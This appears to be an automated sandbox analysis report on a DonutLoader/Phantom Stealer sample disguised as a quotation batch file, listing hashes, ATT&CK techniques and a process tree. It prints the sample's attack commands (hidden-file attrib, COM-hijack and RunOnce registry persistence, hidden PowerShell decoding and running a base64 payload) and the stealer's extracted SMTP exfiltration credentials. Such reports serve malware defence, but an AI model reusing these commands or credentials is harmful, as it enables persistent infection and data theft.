donutloader | 6c403ed3119dae79cc5abf671489c6b1053ae5de11d249c74b3a9e9c01d86634

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/04/2026, 10:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Enquiry QUOTATION REF NO AH0409231.bat
Size 1.1MB
Sample260416-mljdjsf16t
SHA256 6c403ed3119dae79cc5abf671489c6b1053ae5de11d249c74b3a9e9c01d86634
MD5 61a5049fb91d6a8b1659c267dd2d8713
SHA1 17d136a21801102060dabe962c0c7f472ab5d194
SHA512 1f2cdc381b34923027da25ac313e8a5da22b50f6faf7e0bd390e62c8f3830905e76d37bc01ccdf77e51c080c328b4dc744f6dc4812f437c23b05fcd068d87e88
SSDEEP 24576:O1c/O+dKc0lIhuMbA1JvGZGhan0GSSFfx/B51Bo:O2xQcAI0bLaJlvo
TLSH
T12835F215D6C87F78CFA85A3980FD1A1E73E09A4B9016B94AE7237C4AAFEF544020F1D5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution donutloader phantom_stealer loader persistence privilege_escalation stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
mail.taikei-rmc-co.biz
Port
587
Username
[email protected]
Password
e9*w}o;Gm5Zh_2Oc

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
mail.taikei-rmc-co.biz
Port
587
Username
[email protected]
Password
e9*w}o;Gm5Zh_2Oc
Email to
[email protected]

Mutex

P97KH92W6NXUNLKT9UBI

Attributes

anti_analysis
0
cb_enables_ssl
1
debug
0
keylogger
1
start_delay
0
startup
0

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral1/memory/3280-347-0x0000000008620000-0x00000000086BA000-memory.dmp	family_donutloader

Detects PhantomStealer written in C# 2 IoCs

resource	yara_rule
behavioral1/memory/3280-349-0x0000000009AE0000-0x0000000009B9E000-memory.dmp	family_phantomstealer
behavioral1/memory/408-363-0x000001CB35920000-0x000001CB359DE000-memory.dmp	family_phantomstealer

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4576	powershell.exe
4760	powershell.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Explorer.EXE
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Explorer.EXE
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Explorer.EXE

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Reply = "cmd.exe /c C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Indeed.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	icanhazip.com

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2524	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Explorer.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Explorer.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}\ = "System Shell Extension"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}\InProcServer32\ = "rundll32.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}\InProcServer32\ThreadingModel = "Apartment"	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4576	powershell.exe
4576	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
3280	Explorer.EXE
3280	Explorer.EXE
3880	chrome.exe
3880	chrome.exe
3280	Explorer.EXE
3280	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3280	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	3280	Explorer.EXE
Token: SeShutdownPrivilege	3280	Explorer.EXE
Token: SeCreatePagefilePrivilege	3280	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3880	chrome.exe
3880	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3280	Explorer.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 4012	4896	cmd.exe	84
PID 4012 wrote to memory of 1124	4012	cmd.exe	86
PID 4012 wrote to memory of 5056	4012	cmd.exe	87
PID 4012 wrote to memory of 1260	4012	cmd.exe	88
PID 4012 wrote to memory of 4628	4012	cmd.exe	89
PID 4012 wrote to memory of 4936	4012	cmd.exe	90
PID 4012 wrote to memory of 4576	4012	cmd.exe	92
PID 4012 wrote to memory of 4760	4012	cmd.exe	93
PID 4760 wrote to memory of 1600	4760	powershell.exe	94
PID 1600 wrote to memory of 3572	1600	csc.exe	95
PID 4760 wrote to memory of 3280	4760	powershell.exe	56
PID 3280 wrote to memory of 3880	3280	Explorer.EXE	104
PID 3880 wrote to memory of 408	3880	chrome.exe	105
PID 3280 wrote to memory of 408	3280	Explorer.EXE	105
PID 3280 wrote to memory of 408	3280	Explorer.EXE	105
PID 3880 wrote to memory of 4156	3880	chrome.exe	106
PID 3880 wrote to memory of 2524	3880	chrome.exe	107
PID 3880 wrote to memory of 2072	3880	chrome.exe	108
PID 3880 wrote to memory of 3308	3880	chrome.exe	110
PID 3880 wrote to memory of 4016	3880	chrome.exe	111
PID 3880 wrote to memory of 4108	3880	chrome.exe	112
PID 3880 wrote to memory of 888	3880	chrome.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1124	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Explorer.EXE

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Enquiry QUOTATION REF NO AH0409231.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Enquiry QUOTATION REF NO AH0409231.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Indeed.bat"
      4⤵
      Views/modifies file attributes
      PID:1124
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}" /ve /t REG_SZ /d "System Shell Extension" /f
      4⤵
      Modifies registry class
      PID:5056
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f
      4⤵
      Modifies registry class
      PID:1260
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Classes\CLSID\{A90A0DA7-6715-ECFC-276C-7C066B04EFEC}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
      4⤵
      Modifies registry class
      PID:4628
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Reply" /t REG_SZ /d "cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Indeed.bat"" /f
      4⤵
      Adds Run key to start application
      PID:4936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -w Hidden -ep Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\DEMONSTRATION.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\sport.ps1' -Encoding UTF8"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\sport.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4760
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qup1d10s\qup1d10s.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1600
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4958.tmp" "c:\Users\Admin\AppData\Local\Temp\qup1d10s\CSC2CC0285AF47443BDBDB7B63FEBC4956.TMP"
        6⤵
        
        PID:3572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff0352c728,0x7fff0352c734,0x7fff0352c740
    3⤵
    PID:408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1672,i,6005676775152698774,9095097446824173690,262144 --field-trial-handle=1920,i,14327848360122454026,10789078454399775083,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
    3⤵
    PID:4156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd" --force-high-res-timeticks=disabled --metrics-shmem-handle=2000,i,16520888348305350003,9146013709990661511,524288 --field-trial-handle=1920,i,14327848360122454026,10789078454399775083,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:3
    3⤵
    - System Time Discovery
    PID:2524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd" --force-high-res-timeticks=disabled --metrics-shmem-handle=2132,i,4054726653299277291,9550783653428440092,524288 --field-trial-handle=1920,i,14327848360122454026,10789078454399775083,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:8
    3⤵
    PID:2072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2900,i,10395679304108426715,14955576511895892594,2097152 --field-trial-handle=1920,i,14327848360122454026,10789078454399775083,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
    3⤵
    PID:3308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2920,i,13077125602476210452,11916232383034160448,2097152 --field-trial-handle=1920,i,14327848360122454026,10789078454399775083,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:1
    3⤵
    PID:4016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3104,i,14632917362000905,17330059557289195143,2097152 --field-trial-handle=1920,i,14327848360122454026,10789078454399775083,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:1
    3⤵
    PID:4108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3120,i,12039752784609832168,9646947633126671979,2097152 --field-trial-handle=1920,i,14327848360122454026,10789078454399775083,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:2
    3⤵
    PID:888

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
MD5 223bd4ae02766ddc32e6145fd1a29301
SHA1 900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA512 648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
TLSH
T10A610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ecdb5a6ad26da3ff996cbc8969a6d066c2fda99bbd7bf4f5b6476e2e521e94a0
MD5 68308f60de4cf5c523672cb80c86928a
SHA1 66b3d7cbf20cfc59a2deb4a10a4a714f52b5c7e9
SHA512 a5a36a83413244eeccc37b57157a04b215fc9c79bff5d1d84aa8d6235b20abec72192e3f54c709d81f75587f66cec39bac5ab39dae2b4320a49c6630bb769c9a
TLSH
T19E21A837B3DC8921CC86163A109D9C1172B283C7809ECF9FAFC0D604A07F598CB71294
MD5 SHA1 SHA512 TLSH

Submit Download

DEMONSTRATION.tmp

Path C:\Users\Admin\AppData\Local\Temp\DEMONSTRATION.tmp
Size 1.1MB
SHA256 64f027830eca6617492b6fa6b9f764bfdf4ee268d0946f5b8f1fbc2ec9c63f96
MD5 658f71b62297245bbb2a80fa0c9b4ea7
SHA1 c7e81a7cef27157ca125abcf7c1535c3238fb5c2
SHA512 c23bab65e0ab0818610204000a4dc471497b86f1f49eeb8fb812549ea0cb2dfdd11ab2f2471ec45ac6cee57b15db335c516d40ed2da628b55f56ff54fe219cec
SSDEEP 24576:KlIV8KegZXWHxw/CANEw62kdzzWGGq6A44S7YV7:KSVNZGHmBHaNQk7
TLSH
T1DD35011585C47FB8CFAC592990FE1A1E67F05A8F5026744AFB73BC0BAFEB5440207299
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DEMONSTRATION.tmp

Path C:\Users\Admin\AppData\Local\Temp\DEMONSTRATION.tmp
Size 29KB
SHA256 e86a1ee56fb0c3015b844cd14067fdc2ecc6118b6d9b199fb0dbeb51e8530db5
MD5 7bafca3623b5f6dfdbdd10571264ae13
SHA1 6881207c01ba89ebe13e16043cf1ab5b4090dd88
SHA512 ab8186b43f20a89ff3c1d4a81c55a50318c238d961145a07a7e698cf7e432e71a0d6106bb8297a9c36c9fe3863b118b16cba4b632f408243ed86c1c4ac096ea5
SSDEEP 768:B2NG+sD+/g4l97h8SXKXdOCcFR3wOj+vFvu1:KJsDUNzPCMFRngG1
TLSH
T142D2D166519696B45CD85A28E4FD02B5377406BB2D3E4688F6BF3A8EE77D2053003394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES4958.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4958.tmp
Size 1KB
SHA256 c892efffb92bcb2728eebb69f22b0204553cdeafff3d8266958d74f264286646
MD5 099075a0b5ddf3ed95802fd87d1e698b
SHA1 4452c7d90853590f11d04011b6638690e0374b30
SHA512 a5736503415c0a650ace07adceb3bcdf38ea4dc13015628a04fb3df73fdc079c6be64b284be5e5a3e6f72e64f3764e053975e9fbd8d3a1ddc7ef1468b26ac3fe
TLSH
T18A21EF0587E94B5EF07347316DF6132F6238FD59DFA2976A8500823D2C40204EFA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lyqc10tg.vit.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lyqc10tg.vit.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Crashpad\settings.dat
Size 40B
SHA256 eb2a38170aeaa1bf6c7f9336396fac40916ea880d0cb3677ea8812d34a92153f
MD5 9ca3da56954b109a2dd5463882d0b79c
SHA1 22d2fe20bf56f897b8195a33bf361eca5a3e2604
SHA512 17b861e11d4221acd1df1499a886697d9eab5182b3b96181cffcea09f9c18adcaeac66b1afc0b15108deba3f7194ee4cfc647819cc6985832d042763d1fb390b
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 053f718c5bacb1ff0c6bdf16a508fbae967be0dfc0bf66ab9435c7b931ed5cb5
MD5 5989ab80d8cc5bd8d6b86c92a88365a8
SHA1 de582e65cad169c5dbf03f3fe8121cd5f1dbd1de
SHA512 40a9f3181312cb645a391061c626ebe410cf259a73515651e4f3686684e9311e199136cfdc20d66809e3e88b7843965eb38a17beaa13533f88d01cf201f0935d
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\Code Cache\wasm\index-dir\the-real-index
Size 48B
SHA256 eec91132e4564bec0764ff6fcc94667aa7ba37b123880599ed1d7888d66a35e5
MD5 c949e88b975efd30c53c0753dea76453
SHA1 8de82646ead992334c102fe05609141c3cf78e9e
SHA512 6680ff170fc6184b3855edfce3ab05bbc1b4729120ad975b3a7b6ffce5481d543d8c99b7d10004d007580926b1b4b30a1b981a187de3520c0cc2dbd426d02d64
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\GPUCache\data_1
Size 264KB
SHA256 9951769830a927ac2cfa4eb2ca0d8fab3f4233b82a6e3efa486df2cf10081d67
MD5 4d9da5989e25bdeec2c11accf7103078
SHA1 4f14f31b062d0c6690e9e2116f598bcaa9c50ad3
SHA512 41437b871233b4731abf0a327d1220bd68882a668b782e7ffbb1228f6dd8625d768d8cbf939358e5c198e2f9e391367606e7830e36e07af5211ecd90f7799152
SSDEEP 3:MsEllllkXl:/M/6
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\GPUCache\index
Size 256KB
SHA256 cf0e285db8c333747c2d5550a158be08a543dbc65de89ee2291e0156ad3e294b
MD5 56dde79825d3947aa70bf3c92665865c
SHA1 35ed77a50ec862f54576cc5f816a4b69d8847b82
SHA512 8a2d5144a2c8d0d667ba05402f800600125fdef9bcfee198b1c43ac1c93fcb10ed105872b8e918655ecedb59da2b658f483f86c9c929455623a251ccf315dc32
SSDEEP 3:LstlllGq:LsX/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\irwfn2yn.uyd\Default\Preferences
Size 3KB
SHA256 3b8ee621b3880e35b1e2f0e519c1456af86ea3a17ee120aeafa66fca244c8e36
MD5 1dcb91627e71e7ce281a224e00502712
SHA1 faab270b2864c72e004bc601ac95e15c354e047f
